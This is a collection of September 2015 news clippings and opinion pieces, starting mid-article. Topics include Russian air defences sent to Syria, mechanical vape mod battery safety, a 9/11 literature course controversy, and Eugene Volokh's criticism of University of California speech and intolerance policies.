COMMON ENEMY
The war has killed 250,000 people and driven half of Syria's 23 million people from their homes. Some have traveled to European countries, creating a refugee crisis there.
The dispatch of advanced anti-aircraft missiles like the SA-22, which the two Western officials said were on their way but had not yet arrived, would appear to undermine Moscow's argument that its sole aim is to help Damascus fight Islamic State: the militants and other insurgents possess no aircraft.
"This system is the advanced version used by Russia and it's meant to be operated by Russians in Syria," said one of the Western sources, a diplomat briefed on intelligence assessments.
A Russian source close to the navy said the delivery would not be the first time Moscow had sent the SA-22, known as Pantsir-S1 in Russian, to Syria. The system had been sent in 2013, the source said. "There are plans now to send a new set."
However, the Western diplomat said the new missiles would be more advanced than those deployed in the past.
French Foreign Minister Laurent Fabius said it was too early to judge what Russia's motivations were in Syria, but 'Ž"adding war to war" would not help resolve the conflict.
"If it's about defending the base in Tartous why not? But 'Žif it's to enter the conflict...." he said, without finishing the thought.
BARGAINING POWER
Diplomats in Moscow say the Kremlin is happy for the West to believe it is building up its military in Syria, calculating that this will give it more bargaining power in any peace talks.
Western and Arab countries have backed demands from the Syrian opposition that Assad must leave power under any negotiated settlement. Assad has refused to go, and all diplomatic efforts at a solution so far have collapsed.
Assad's supporters have taken encouragement this week from an apparent shift in tone from some European states.
Britain, one of Assad's staunchest Western opponents, said it could accept him staying in place for a transition period if it helped resolve the conflict.
France said on Monday he must leave power ''at some point or another''. Smaller countries went further, with Austria saying Assad must be involved in the fight against Islamic State and Spain saying negotiations with him were needed to end the war.
The Syrian pro-government newspaper al-Watan saw Britain's position as ''a new sign of the changes in Western positions that started with Madrid and Austria''.
(Additional reporting by Dan Williams, Gabriela Baczynska and Phil Stewart. Writing by Peter Graff.; Editing by Giles Elgood, David Storey and Ken Wills)
(C) Thomson Reuters 2015 All rights reserved.
Russia sending advanced air defences to Syria: sources | Reuters
Sat, 12 Sep 2015 20:09
Moscow is sending an advanced anti-aircraft missile system to Syria, two Western officials and a Russian source said, as part of what the West believes is stepped-up military support for embattled President Bashar al-Assad.
The Western officials said the SA-22 system would be operated by Russian troops, rather than Syrians. It was on its way to Syria but had not yet arrived.
"This system is the advanced version used by Russia and it's meant to be operated by Russians in Syria," said one of the sources, a Western diplomat who is regularly briefed on U.S., Israeli and other intelligence assessments.
A U.S. official separately confirmed the information.
The Russian source, who is close to the Russian navy, said the delivery would not be the first time Moscow had sent the SA-22 system, known as Pantsir-S1 in Russian, to Syria. It had been sent in 2013, the source said.
"There are plans now to send a new set," the source said, without detailing how far along the process was.
However, the Western diplomat said the version of the SA-22 on its way to Syria was newer than previous missile systems deployed there.
Syrian officials could not be reached for comment.
The United States has been leading a campaign of air strikes in Syrian air space for a year, joined by aircraft from European and regional allies including Britain, France, Jordan and Turkey. U.S. forces operating in the area are concerned about the potential introduction of the weapon, the diplomat said.
U.S. officials say they believe Moscow has been sending troops and equipment to Syria, although they say Russia's intentions are not clear.
Lebanese sources have told Reuters that Russian troops have begun participating in combat operations on behalf of the Assad government. Moscow has not commented on those reports.
Speaking at a news conference in Moscow, Russian Foreign Minister Sergei Lavrov said Russia was sending military equipment to Syria to help the Assad government combat Islamic State fighters, and had sent experts to help train the Syrian army to use it.
However, the dispatch of advanced anti-aircraft missiles would appear to undermine that justification, since neither Islamic State nor any other Syrian rebel group possesses any aircraft.
Lavrov also said coordination was needed between Russia's military and the Pentagon to avoid "unintended incidents" around Syria. Russia was conducting pre-planned naval drills in the eastern Mediterranean, he said.
This year has seen momentum shift against Assad's government in Syria's 4-year-old civil war, which has killed 250,000 people and driven around half of Syria's 23 million people from their homes.
An ally of Damascus since the Cold War, Moscow maintains its only Mediterranean naval base at Tartous on the Syrian coast, and protecting it would be a strategic objective.
Recent months have also seen talk of a new role for outside forces in Syria, with NATO-member Turkey proposing the creation of a "safe zone" free from both Islamic State and government forces near its Syrian border.
Even if Russians operated the missiles and kept them out of the hands of the Syrian army, the arrival of such an advanced anti-aircraft system could also unsettle Israel, which in the past has bombed sophisticated arms it suspected were being handed to Assad's Lebanese guerrilla allies, Hezbollah.
"In the Middle East you never know what will happen. If the Russians end up handing it (SA-22) over to the Syrian military I don't think the Israelis would intervene but they would go bananas if they see it heading towards Hezbollah in Lebanon," the diplomatic source said.
An Israeli military spokesman declined to comment on the missile system. A senior Israeli defense official briefing reporters on Thursday said Israel was in contact with Moscow and would continue its policy of stopping advanced weapons reaching Hezbollah.
"We have open relations with the Russians who have come to save Assad in the civil war. Along with this, we will not allow our sovereignty to be compromised or the transfer of advanced or chemical weapons (to Hezbollah). We are following the developments and keeping open channels with Moscow."
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Russian sub of coast of Syria
Sat, 12 Sep 2015 14:42
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Mechanical Mod Beginners Guide
Sun, 13 Sep 2015 05:37
This guide is designed for beginners new to the world of mechanical mods.
NOTE: If you are just starting out with vaping, we don't recommend choosing a mechanical mod as your first device as these devices do not have the inbuilt safety features of our standard vaping kits and require some additional knowledge of handling and monitoring lithium based batteries.
A purely mechanical mod is a very basic personal vaporiser device. It is a tube that holds a replaceable rechargeable battery and on the tube is a button that when engaged completes a circuit that delivers unregulated current to the atomizer. A mechanical mod contains no wiring or soldering, nor any electronics.
Mechanical mods come in all different shapes and sizes. The following image shows a Kamry KTS+ ; a telescopic mod that caters to different capacity batteries.
A major reason some vapers choose a mechanical mod aside from aesthetics is their durability. In a typical personal vaporizer, the device is heavily dependent on electronics and if any component fails, repair is usually not possible for the average user. Some electronic personal vaporizers are also basically a disposable device in that once battery end-of-life has been reached, the battery cannot be replaced.
Some choose mechanical mods for the ability to run low resistance atomizers that cannot be run on other forms of vaping equipment; however, this is riskier than using standard resistance equipment, so requires special care.
No lithium battery powered device is 100% safe given the amount of energy stored in what is a comparatively small battery. Electronic personal vaporizers are generally safer than mechanical mods due to their inbuilt safety features that protect against faults such as short circuits. However, good quality mechanical mod equipment in the hands of an experienced person is quite safe.
Issues such as short circuits can cause a battery to discharge at such a rate that it heats up to a point of it venting and catching fire. If the vent gases cannot escape, explosion is also a possibility.
The following tips will help ensure a more enjoyable and safer vaping experience with a mechanical mod.
Acquire a multi-meter
A multimeter is a very useful device when using mechanical mods and they can be purchased from any electronics store for under $10. With a multimeter, you'll be able to monitor battery voltage and resistance of your clearomizers and atomizers and detect shorts on the mechanical mod body.
Something to note with cheaper multi-meters is the resistance reading (Ohms) may be somewhat inaccurate due to the multi-meter itself having resistance. The way to test for this is to touch the multimeter probes together and note the reading. That reading needs to be subtracted from any measurement.
Battery type and quality
Don't skimp on batteries - it's not worth saving a few dollars at the risk of your safety. Old batteries and those with a damaged outer casing or any other noticeable defect should not be used.
Also choose the right type of battery. Unprotected standard lithium-ion (ICR - lithium cobalt oxide) batteries should not be used in mechanical mods as these have a greater risk of overheating. A good quality protected ICR chemistry battery is a better choice and some would argue that IMR (lithium manganese oxide) battery chemistry is safer again due to it being less volatile.
Battery chargers
All battery chargers are not created equal and charger quality is crucial. A poor quality charger can over-charge a battery, making it unstable and greatly increasing the change of an overheating, venting or explosion scenario while in use.
A fully charged IMR battery should be somewhere between 4.15 and 4.20 volts. Much above that (4.25V) and its life will be shortened and instability becomes a concern. Above 4.5v is a recipe for disaster.
Also ensure the lithium battery charger you buy doesn't just have an Australian plug, but is also Australian electrical standards certified - many chargers being sold in Australia do not have this certification. Even with the high quality models shown above, there can be Australian approved and non-approved versions. Look for the c-tick or RCM (Regulatory Compliance Mark), which is a tick inside a circle inside a triangle.
Battery low voltage
Unlike an electronic personal vaporizer that has low voltage cut-offs; a mechanical mod will run down the battery until it is absolutely flat, which is very bad for lithium based batteries - this is where having a multimeter is very important. Even without a multi-meter, a low battery voltage will be noticeable due to a substantial decrease in vapor production. For the best experience, recharging at 3.6V is advised or as soon as you notice vapor production drops off.
Battery polarity
Ensure you insert the batteries the right way.
Battery stacking
This is another potential point of catastrophic failure and we advise against battery stacking. Use a single battery only.
Remove batteries
When not in use, it's a good idea to remove the battery - this not only helps protect against accidents, but will also prolong the life of the mechanical mod's spring.
Resistance testing
Atomizers and clearomizers should be checked when new and regularly during use to ensure a short situation has not occurred or that resistance isn't too low. For safety reasons, we recommend using atomizers and clearomizers that have a resistance no less than 1.8 Ohms - take into account the multi-meter's own resistance (if any) as described above.
To test the resistance of a clearomizer or atomizer, touch the positive probe to the center post where it emerges from the device and the negative probe to the metallic outer ring beside the post.
The mechanical mod itself should also be tested for shorting. This is achieved by removing the end cap and battery, then touching the positive probe to the positive pin of the mod and the negative probe to the body. Any reading other than the default on the multimeter indicates a problem and the mod should not be used.
Vent holes
A mechanical mod should have vent holes in the device to allow the escape of gases in an overheating event. Without venting holes, a mechanical mod is basically a hand-grenade in a battery venting situation.
Firing button lock
Most good quality mechanical mods will have a switch locking devices, which is usually engaged by spinning a small knurled wheel in an anti-clockwise direction.
All of the above appears to be a lot to have to observe when using a mechanical mod, but it all becomes automatic with time. An experienced vaper isn't one who can ignore these guidelines - if anything they pay special attention to them, knowing the potential consequences of faulty equipment.
Consider adding a fuse
Devices such as the Vape Safe have been developed for mechanical mods that are designed to trip if a short occurs; reducing the risk of thermal runaway and battery venting.
Graphic Photos: Man's Face After a Recent Mechanical Mod Explosion - VaporVanity.com
Sun, 13 Sep 2015 05:36
J.R. ReynoldsonMay 25, 2015
A recent Facebook post from May 22nd from the Finest of Line Tattoo Company shows the results of a recent mechanical mod explosion.
A statement from the guy who's pictured here explains what happened:
''I was using a 4nine mech. Mod authentic RDA royal hunters. I was pulling .54 ohms what happen was the pin dropped shorting the battery. It welded itself open and when i released the button the battery exploded. It was a mechanical error''.
Hopefully the damage isn't permanent and he can recover soon, but this should help to spread awareness and make sure that people take battery safety seriously, especially when sub-ohming with mechanical mods. This isn't the first time that a mod has exploded, and unfortunately it probably won't be the last. But if you're not interested in learning about battery safety, you should probably stick to regulated mods instead of mechanicals.
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Allstate Insurance Assigned Patent | Insurance News Net
Sun, 13 Sep 2015 04:56
By Targeted News Service
ALEXANDRIA, Va., May 7 -- Allstate Insurance, Northbrook, Illinois, has been assigned a patent (8,719,135) developed by six co-inventors for a "real-time insurance estimate based on non-personal identifying information." The co-inventors areCraig Oldham, Chicago,Michael Frederick Hobart, Round Lake Beach, Illinois,Dean Krieter, Rolling Meadows, Illinois,Javier Porras, Morton Grove, Illinois,Jeffrey Robert Herrmann, Gurnee, Illinois, andJohn Paul Wojcik, Huntley, Illinois. The patent application was filed on May 9, 2013 (13/890,434). The full-text of the patent can be found at http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PTO1&Sect2=HITOFF&d=PALL&p=1&u=%2Fnetahtml%2FPTO%2Fsrchnum.htm&r=1&f=G&l=50&s1=8,719,135.PN.&OS=PN/8,719,135&RS=PN/8,719,135 Written byKusum Sangma; edited byJaya Anand.
KS0507JA0507-1009257
Copyright: (c) 2014 Targeted News ServiceWordcount: 96
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30% of people would sell an organ to erase student debt: Survey
Sat, 12 Sep 2015 21:25
Some people would go great lengths to have their student loan debts forgiven, according to a small survey by MyBankTracker.com.
The survey said that 30 percent of respondents would sell one of their organs if it meant no more student debt. (Tweet This)
The personal finance website also said that 43 percent would sell half of their possessions while 38 percent said they would participate in a questionable health study.
Read MoreStudent loan debt grows, but there are ways to ease
"While MyBankTracker does not condone the use of these extreme measures, it's interesting to see the percentage of respondents who would resort to them'--it shows there are plenty of people who strive to erase their student loan debt as soon as possible," the survey said.
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Colleges brainwash students into believing 9/11 was our fault | New York Post
Fri, 11 Sep 2015 18:56
Not all of us will be mourning 9/11 victims and their families this Friday on the 14th anniversary of the attacks. Hundreds of college kids across the country will instead be taught to sympathize with the terrorists.
That's because their America-hating leftist professors are systematically indoctrinating them into believing it's all our fault, that the US deserved punishment for ''imperialism'' '-- and the kids are too young to remember or understand what really happened that horrific day.
Case in point is a freshman-level English class taught at several major universities across the country called ''The Literature of 9/11'' '-- which focuses almost entirely on writings from the perspective of the Islamic terrorists, rather than the nearly 3,000 Americans who were slaughtered by them.
The syllabus, which includes books like ''The Reluctant Fundamentalist'' and ''Poems from Guantanamo: Detainees Speak,'' portray terrorists as ''freedom fighters'' driven by oppressive US foreign policies.
Even highly ranked University of North Carolina at Chapel Hill has adopted the curriculum. The 9/11 seminar is taught by UNC associate English professor Neel Ahuja, who specializes in ''post-colonial studies.''
In Ahuja's twisted worldview, al Qaeda terrorists are the real victims. ''Abu Zubaydah's torture may be interpreted as simply one more example of the necropower of US imperialism, the power to coerce and kill targeted populations,'' Ahuja recently wrote in an academic paper criticizing the war on terror.
He says America's depiction of the 9/11 terrorists as ''monsters'' is merely an attempt to ''animalize'' them as insects and justify ''squashing'' them in ''a fantasy of justice.''
This colonialist ''construct'' of an ''animalized enemy,'' he added, ''dovetails with the work of mourning the nation after 9/11 (which in the logic of security must be made perpetual, melancholic).'' To him, it's all cynically designed to justify more ''imperial violence'' against ''Muslim, Arab and South Asian men.''
Ahuja goes on to decry the US ''colonization'' of Afghanistan and northwestern Pakistan, along with ''aerial bombing (and) indefinite detention'' of al Qaeda terrorists at Gitmo. In other writings, the professor bashes Israel and sides with Palestinian terrorists, further revealing his agenda.
He clearly has an ax to grind, which critics say the university gives him license to exercise through ''The Literature of 9/11'' curriculum.
A group of concerned UNC students has complained to administrators that the 9/11 course, also taught at the University of Maryland and other campuses, is being used to brainwash impressionable underclassmen.
''These readings offer points of view that justify terrorism, paint the United States and its government as wholly evil and immoral and desecrate the memory of the victims of the Sept. 11 terrorist attacks,'' the UNC College Republicans said in a recent letter to Chancellor Carol Folt.
Photo: Shutterstock
''There is not a single reading required that focuses on the lives of the victims, the victim's [sic] families, American soldiers (or) families of American soldiers,'' they added. ''Nor is there a perspective that portrays the United States as acting in good faith before, during and after the Sept. 11 attacks.''
The course, moreover, ''does not teach students how to think, it teaches them what to think,'' the letter continued. ''And the material it presents is an apologetic for the violence and murder against the United States.''
The university replied that freshmen should be exposed to differing points of view, even radical ones.
''Part of the college experience is the opportunity to learn from those who have differing points of view. Carolina's first-year seminar program is part of that growth,'' the administration said in a press statement, while insisting ''the university isn't forcing a set of beliefs on students.''
Photo: AP
But several students who have taken the course warned in a professor review blog that Ahuja, who earns $72,100 a year spewing his unAmerican propaganda, does not tolerate dissent.
''He favors kids who share his views, so learn to do that,'' said one reviewer. ''A very interesting guy, just don't disagree with him.''
Added another student, in a January 2014 post: ''I would avoid contradicting him openly.''
''AGREE WITH HIS STANCE IN YOUR PAPERS!!!!!'' advised another in November.
What's happening in Chapel Hill is not isolated. Presenting terrorists in a sympathetic light and the US as an imperialist nation is standard fare. This is what, in varying degrees, most college kids are learning today, all over the country.
Paul Sperry, a visiting media fellow at the Hoover Institution, is author of ''Infiltration: How Muslim Spies and Subversives Have Penetrated Washington.'' Email him at Sperry@sperryfiles.com.
UC teaching faculty members not to criticize race-based affirmative action, call America 'melting pot,' and more - The Washington Post
Sat, 12 Sep 2015 10:04
One of the latest things in universities, including at University of California (where I teach) is condemning ''microaggressions,'' supposed ''brief, subtle verbal or non-verbal exchanges that send denigrating messages to the recipient because of his or her group membership (such as race, gender, age or socio-economic status).'' Such microaggressions, the argument goes, can lead to a ''hostile learning environment,'' which UC '-- and the federal government '-- views as legally actionable. This is stuff you could get disciplined or fired for, especially if you aren't a tenured faculty member.
But of course this concept is now being used to suppress not just, say, personal insults or discrimination in hiring or grading, but also ideas that the UC wants to exclude from university classrooms. Here, from the UC Office of the President, Academic and Personnel Programs department's site (promoted, for instance, here, here, and here), are some of what the UC wants to see stamped out, in classrooms and presumably elsewhere as well:
Tool: Recognizing Microaggressions and the Messages They Send
Microaggressions are the everyday verbal, nonverbal, and environmental slights, snubs, or insults, whether intentional or unintentional, that communicate hostile, derogatory, or negative messages to target persons based solely upon their marginalized group membership (from Diversity in the Classroom, UCLA Diversity & Faculty Development, 2014). The first step in addressing microaggressions is to recognize when a microaggression has occurred and what message it may be sending. The context of the relationship and situation is critical. Below are common themes to which microaggressions attach'....
[Theme:] Color Blindness[:] Statements that indicate that a White person does not want to or need to acknowledge race.
[Microaggression Examples:] ''There is only one race, the human race.''''America is a melting pot.''''I don't believe in race.'' '...
[Theme:] Denial of Individual Racism/Sexism/Heterosexism[:] A statement made when bias is denied'....
[Microaggression Examples:] '... To a person of color: ''Are you sure you were being followed in the store? I can't believe it.'' '...
[Theme:] Myth of Meritocracy[:] Statements which assert that race or gender does not play a role in life successes, for example in issues like faculty demographics.
[Microaggression Examples:] ''I believe the most qualified person should get the job.''''Of course he'll get tenure, even though he hasn't published much '-- he's Black!''''Men and women have equal opportunities for achievement.''''Gender plays no part in who we hire.''''America is the land of opportunity.''''Everyone can succeed in this society, if they work hard enough.''''Affirmative action is racist.''
Well, I'm happy to say that I'm just going to keep on microaggressing. I like to think that I'm generally polite, so I won't express these views rudely. And I try not to inject my own irrelevant opinions into classes I teach, so there are many situations in which I won't bring up these views simply because it's not my job to express my views in those contexts. But the document that I quote isn't about keeping classes on-topic or preventing presonal insults '-- it's about suppressing particular viewpoints. And what's tenure for, if not to resist these attempts to stop the expression of unpopular views?
But I'm afraid that many faculty members who aren't yet tenured, many adjuncts and lecturers who aren't on the tenure ladder, many staff members, and likely even many students '-- and perhaps even quite a few tenured faculty members as well '-- will get the message that certain viewpoints are best not expressed when you're working for UC, whether in the classroom, in casual discussions, in scholarship, in op-eds, on blogs, or elsewhere. (Remember that when talk turns to speech that supposedly creates a ''hostile learning environment,'' speech off campus or among supposed friends can easily be condemned as creating such an environment, once others on campus learn about it.) A serious blow to academic freedom and to freedom of discourse more generally, courtesy of the University of California administration.
UPDATE: Fox News reports this response by a UC Office of the President spokeswoman:
''Given the diverse backgrounds of our students, faculty and staff, UC offered these seminars to make people aware of how their words or actions may be interpreted when used in certain contexts. Deans and department heads were invited, but not required, to attend the seminars,'' University of California Office of the President spokeswoman Shelly Meron told FoxNews.com.
She added that the university had not banned the words when it labeled them as examples of micro-aggressions and insisted that the university system is ''committed to upholding, encouraging and preserving academic freedom and the free flow of ideas.''
So let's see if I understand it. ''Microaggressions'' are defined as ''send[ing] denigrating messages'' based (in relevant part) on race. Unsurprisingly, they are labeled as potentially leading to ''hostile learning environments,'' which the university and the federal government views as legally actionable. The university as an employer is telling its employees, including many employees who don't have tenure, that expressing certain views is a ''microaggression.''
But then the university insists that it's ''preserving academic freedom and the free flow of ideas.'' Because, you know, lecturers, adjuncts, not-yet-tenured faculty members, and so on, will read this and say, ''sure, I can express my ideas condemning affirmative action, and be labeled by UC as engaging in 'microaggressions' '-- of course UC isn't going to retaliate against me for that.'' Doesn't seem to reflect how actual employees behave in the face of such statements from the employer's Office of the President, Academic and Personnel Programs department.
FURTHER UPDATE: Here is a more recent statement from the UC Office of the President media relations people:
To suggest that the University of California is censoring classroom discussions on our campuses is wrong and irresponsible. No such censorship exists. UC is committed to upholding, encouraging, and preserving academic freedom and the free flow of ideas throughout the University. As such, the media characterization of voluntary seminars for UC deans and department heads about campus climate issues '-- similar to seminars at university campuses throughout the country '-- is inaccurate.
Contrary to what has been reported, no one at the University of California is prohibited from making statements such as ''America is a melting pot,'' ''America is the land of opportunity,'' or any other such statement. Given the diverse backgrounds of our students, faculty and staff, UC offered these seminars to make people aware of how their words or actions may be interpreted when used in certain contexts. Deans and department heads were invited, but not required, to attend the seminars.
Let's just say that I'm unpersuaded. Note that another paper endorsed by the UC Office of the President defines microaggressions as ''one form of systemic everyday racism.'' So the UC says microaggressions are a form of racism; communicate hostile, derogatory, or negative messages to target persons based solely upon their marginalized group membership; and can help create a hostile environment. And it says that expressing certain views is a form of racial microaggression. (By the way, UC Berkeley says this not just to administrators but also to ''faculty or graduate student instructor[s].'') UC also often talks about how important campus climate is and how important diversity is, and indeed makes ''contributions to diversity and equal opportunity,'' such as ''research '... that highlights inequalities,'' a factor ''in the evaluation of the candidate's qualifications'' when it comes to hiring, promotion, and appraisal.
But apparently instructors '-- including untenured ones '-- are somehow expected to feel uncensored, and free to express their ideas, including ones UC has labeled racist, aggressive, and hostile. Really?
Eugene Volokh teaches free speech law, religious freedom law, church-state relations law, a First Amendment Amicus Brief Clinic, and tort law, at UCLA School of Law, where he has also often taught copyright law, criminal law, and a seminar on firearms regulation policy.
The University of California, 'microaggressions,' and supposedly anti-Semitic criticism of Israel - The Washington Post
Sat, 12 Sep 2015 10:03
In June, I sharply criticized University of California documents that condemned a wide range of political opinion as racial or sex-based ''microaggressions.'' (See also this Los Angeles Times op-ed.) UC had put out documents labeling as microaggressions statements such as:
''Affirmative action is racist.''
To a person of color: ''Are you sure you were being followed in the store? I can't believe it.''
''I believe the most qualified person should get the job.''
''Of course he'll get tenure, even though he hasn't published much '-- he's Black!''
''Men and women have equal opportunities for achievement.''
''Everyone can succeed in this society, if they work hard enough.''
Though UC didn't forbid such statements, labeling them as racial and sex-based ''microaggressions'' tended to send a powerful message to faculty members and students, especially ones who weren't protected under tenure '-- a message that you had better not express certain views if you want to stay on the administration's good side. That's a serious blow to academic freedom and to freedom of discourse more generally.
I take the same view about the proposals to get the UC Board of Regents to adopt the State Department's definition of anti-Semitism with regard to criticism of Israel. (UC President Janet Napolitano said this year that she would support the adoption of that definition.) Here's the relevant part of that definition:
What is Anti-Semitism Relative to Israel?
EXAMPLES of the ways in which anti-Semitism manifests itself with regard to the state of Israel, taking into account the overall context could include:
DEMONIZE ISRAEL:
Using the symbols and images associated with classic anti-Semitism to characterize Israel or IsraelisDrawing comparisons of contemporary Israeli policy to that of the NazisBlaming Israel for all inter-religious or political tensions
DOUBLE STANDARD FOR ISRAEL:
Applying double standards by requiring of it a behavior not expected or demanded of any other democratic nationMultilateral organizations focusing on Israel only for peace or human rights investigations
DELEGITIMIZE ISRAEL:
Denying the Jewish people their right to self-determination, and denying Israel the right to exist
However, criticism of Israel similar to that leveled against any other country cannot be regarded as anti-Semitic. [Italics in original.]
Now I generally support Israel, and I do think that much of the criticism of Israel is unfair and quite likely anti-Semitic. But I don't think the UC administration has any business condemning this sort of political expression related to Israel, whether fair or otherwise, and regardless of what we suspect might be in the hearts of those who make these arguments. What is the right view and what is the wrong view of the conflict in the Middle East should be a matter for academics and students to debate, without the university condemning one side as bigots '-- which, as with the ''microaggressions,'' sends a strong message to untenured faculty members, graduate students and others that they had better not say certain things. (Of course, actual discrimination against Jewish students should indeed be spoken out against, and physical attacks, vandalism and disruption of events should be forbidden; but that doesn't require the adoption of the State Department definition.)
Thus, for instance, consider ''denying the Jewish people their right to self-determination.'' Whether Jews as an ethnic group should have a right to self-determination should be as open to discussion '-- whether from people who say ''yes'' or who say ''no'' '-- as whether Basques, Kurds, Catalonians, Taiwanese, Falkland Islanders, Eastern Ukrainians, Northern Cypriots or Palestinian residents of the West Bank should have a right to self-determination. I think that on balance it's good that Israel exists and that it exists as a distinctively Jewish state. And I certainly think that, now that it exists, abolition of Israel as a separate country and its incorporation into any of its neighbors would be extraordinarily bad. But again, that's a subject that should be freely debated within UC, without the administration condemning one side.
Nor am I comforted by the proviso that, ''However, criticism of Israel similar to that leveled against any other country cannot be regarded as anti-Semitic.'' The overall State Department definition puts people who harshly criticize Israel in a position where they are basically presumed to be anti-Semitic unless their motives are somehow shown to be pure by a comparison of the criticism of Israel with that leveled at other countries. But any such comparisons are almost always subjective and highly contestable. People's criticisms of different countries will necessarily be different in many ways, because the situations that the countries face are different, because the critics might think that some kinds of criticisms are more effective at changing the behavior of one country than another, or just because many people understandably focus their energies on one conflict rather than trying to learn about and talk about many different conflicts.
Again, I sometimes do look at some critics of Israel and conclude for myself that they may well be anti-Semitic, given the difference between how they react to the Israeli government and how they react to other governments (especially other governments involved in the same conflict). But that's me as a citizen and (sometimes) me as a commentator. When the UC administration makes broad pronouncements on this subject, those pronouncements aren't just people's opinions, academic or otherwise '-- they are an implicit push toward an orthodoxy on the subject.
Now it may well be that the State Department definition works for the State Department's purposes. But the State Department's job is to promote American foreign policy. That a definition is good for promoting American foreign policy doesn't make it good for a university.
Eugene Volokh teaches free speech law, religious freedom law, church-state relations law, a First Amendment Amicus Brief Clinic, and tort law, at UCLA School of Law, where he has also often taught copyright law, criminal law, and a seminar on firearms regulation policy.
University of California considering recognizing a ''right'' to be ''free from '... expressions of intolerance'' - The Washington Post
Sat, 12 Sep 2015 10:01
Here is a proposed policy that the Regents of the University of California's Committee on Education Policy will be discussing next Thursday:
Office of the President
TO MEMBERS OF THE COMMITTEE ON EDUCATION POLICY:
DISCUSSION ITEM
For Meeting of September 17, 2015
THE REGENTS OF THE UNIVERSITY OF CALIFORNIA'S STATEMENT OF PRINCIPLES AGAINST INTOLERANCE
BACKGROUND
The Regents are strongly committed to a University community that upholds the core principles of respect, inclusion, academic freedom, and the free and open exchange of ideas. Accordingly, as discussed at the July Regents meeting, a statement reflecting these principles has been developed and is outlined below for discussion.
Regents of the University of California's Statement of Principles Against Intolerance
The University of California is committed to protecting its bedrock values of respect, inclusion, and academic freedom. Free expression and the open exchange of ideas '-- principles enshrined in our national and state Constitutions '-- are part of the University's fiber. So, too, is tolerance, and University of California students, faculty, and staff must respect the dignity of each person within the UC community.
Intolerance has no place at the University of California. We define intolerance as unwelcome conduct motivated by discrimination against, or hatred toward, other individuals or groups. It may take the form of acts of violence or intimidation, threats, harassment, hate speech, derogatory language reflecting stereotypes or prejudice, or inflammatory or derogatory use of culturally recognized symbols of hate, prejudice, or discrimination.
Everyone in the University community has the right to study, teach, conduct research, and work free from acts and expressions of intolerance. The University will respond promptly and effectively to reports of intolerant behavior and treat them as opportunities to reinforce the University's Principles Against Intolerance.
This statement of principles applies to attacks on individuals or groups and does not apply to the free exchange of ideas in keeping with the principles of academic freedom and free speech. This statement shall not be interpreted to prohibit conduct that is related to the course content, teaching methods, scholarship, or public commentary of an individual faculty member or the educational, political, artistic, or literary expression of students in classrooms and public forums that is protected by academic freedom or free speech principles. The statement is intended to reflect the principles of the Regents of the University of California and shall not be used as the basis to discipline students, faculty, or staff. Discipline is covered under existing policies including the following: Policies Applying to Campus Activities, Organizations and Students, 100.00: Policy on Student Conduct and Discipline, Personnel Policies for Staff Members pertaining to discipline and separation, or University Policy on Faculty Conduct and the Administration of Discipline (Academic Personnel Manual [APM]-016).
University leaders will take all appropriate steps to implement the principles.
Addendum
The following non-exhaustive list contains examples of behaviors that do not reflect the University's values of inclusion and tolerance, as described in the Regents of the University of California's Statement of Principles Against Intolerance.
* Vandalism and graffiti reflecting culturally recognized symbols of hate or prejudice. These include depictions of swastikas, nooses, and other symbols intended to intimidate, threaten, mock and/or harass individuals or groups.
* Questioning a student's fitness for a leadership role or whether the student should be a member of the campus community on the basis of race, religion, ethnicity, national origin, citizenship, sex, or sexual orientation.
* Depicting or articulating a view of ethnic or racial groups as less ambitious, less hardworking or talented, or more threatening than other groups.
* Depicting or articulating a view of people with disabilities (both visible and invisible) as incapable.
So let's look closely at this:
1. The policy specifically condemns the expression of particular viewpoints as ''intolerant,'' as having ''no place at the University of California,'' and a violation of others' rights to be ''free from '... expressions of intolerance.'' For instance, articulating a view that people with various intellectual disabilities are incapable of various intellectual tasks, or people with various physical disabilities are incapable of various physical tasks, would be condemned by the authority of the University. (''University leaders will take all appropriate steps to implement the principles.'')
Articulating a view that there are cultural (or even biological) differences between ethnic and racial groups in various fields '-- condemned by the authority of the University, without regard to the arguments for or against the particular assertion. It's just an up-front categorical rule; whatever you want to say along these lines, we don't want to hear it, we don't care what your arguments are, we'll condemn it, and faculty and students have a right not to hear it. Even ''depicting'' such a view, whatever that means, is ''intolerant'' and ''has no place at the University.''
Saying that illegal aliens (or noncitizens who are legally here) ought not be appointed to be, say, the student member of the Board of Regents '-- likewise condemned. And this isn't limited to situations where the speaker is a participant in a selection decision, which the participants are obligated to make in a nondiscriminatory way. It equally applies to, say, a student newspaper that condemns the appointment of noncitizens to leadership positions. (For a recent controversy along these lines in a local city, which could equally arise at a university, see this story about two illegal aliens named as volunteers to city commissions in an L.A.-area town.)
And these are just examples. The policy obviously extends to the other categories traditionally joined to race, ethnicity, and disability, such as sex, sexual orientation, or religion.
Defending traditional exclusion of same-sex couples from marriage, by arguing that same-sex couples aren't as good at raising children as opposite-sex couples? (I suspect that view is wrong, but we can only know it's wrong if people are able to freely debate it.) Discussing purported differences in temperament, cognition, and more between men and women? Sharply criticizing certain religious denominations, and suggesting that people who are genuinely committed to those religious denominations are misguided or morally reprehensible?
Presumably all that, no less than statements about the disabled, is likewise ''intolerance'' that ''has no place at the University of California'' and that violates students' and faculty members' rights to be ''free from '... expression or intolerance.'' You can't ''depict[] or articulat[e]'' such ideas here '-- we're a university!
2. The policy does say, ''This statement of principles applies to attacks on individuals or groups and does not apply to the free exchange of ideas in keeping with the principles of academic freedom and free speech.'' But what does that mean?
''Attacks on individuals or groups,'' after all, often are free speech, especially recognizing that ''attacks'' is used here far beyond physical attacks (or threats of violence and speech that falls within the other narrow First Amendment exceptions). Certainly the third and fourth examples given in the ''Addendum'' are ''free speech'' under any existing legal definition of free speech, as is the second. Obviously the authors of the proposal have a much narrower view of ''free speech'' in mind. Likewise with ''the free and open exchange of ideas.'' The authors of the proposal love free and open exchange of ideas, until some ideas they dislike about, say, disabilities are expressed.
3. The policy also says, ''This statement shall not be interpreted to prohibit conduct that is related to the course content, teaching methods, scholarship, or public commentary of an individual faculty member or the educational, political, artistic, or literary expression of students in classrooms and public forums that is protected by academic freedom or free speech principles.'' But note the careful limitations in this language.
A student newspaper isn't a ''public forum'' in the legal sense of the term. (''Public forum'' is a legal term for government-owned property that has been opened for speech by the public at large, or by some objectively defined group of speakers on some defined topics. A newspaper isn't open to every student to speak, and is instead subject to the editors' editorial control, which is why students can't sue to get access to writing in the pages of a newspaper under a ''public forum'' theory.)
